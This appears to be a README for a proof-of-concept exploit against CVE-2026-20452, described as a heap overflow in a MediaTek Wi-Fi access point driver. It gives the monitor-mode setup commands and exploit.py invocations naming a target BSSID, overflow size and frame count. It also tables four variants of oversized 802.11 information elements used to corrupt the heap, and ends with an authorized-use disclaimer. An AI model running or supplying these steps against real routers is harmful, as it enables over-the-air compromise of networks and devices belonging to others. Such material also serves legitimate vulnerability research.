
Proof of concept exploit for CVE-2026-20452, a heap-based buffer overflow in MediaTek's WLAN Access Point driver.
https://www.hunt-benito.com/blog/mediatek-wlan-heap-overflow-cve-2026-20452-filogic-router-rce/
pip install scapy)sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Interface becomes wlan0mon
sudo python exploit.py --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66
sudo python exploit.py --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 \
--overflow-size 1024 --variant 2 --count 50 --delay 0.05
This tool is provided for authorized security research and educational purposes only. Transmitting on Wi-Fi frequencies may require legal authorization in your jurisdiction. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this tool.
| Variant | IE Type | Description |
|---|
| 0 | Vendor Specific (221) | Single oversized IE with OUI 00:50:43 |
| 1 | Chained Vendor IEs | Multiple small IEs to corrupt adjacent heap objects |
| 2 | HT Capabilities (45) | Oversized HT Capabilities IE |
| 3 | Extended Capabilities (127) | Oversized Extended Capabilities IE |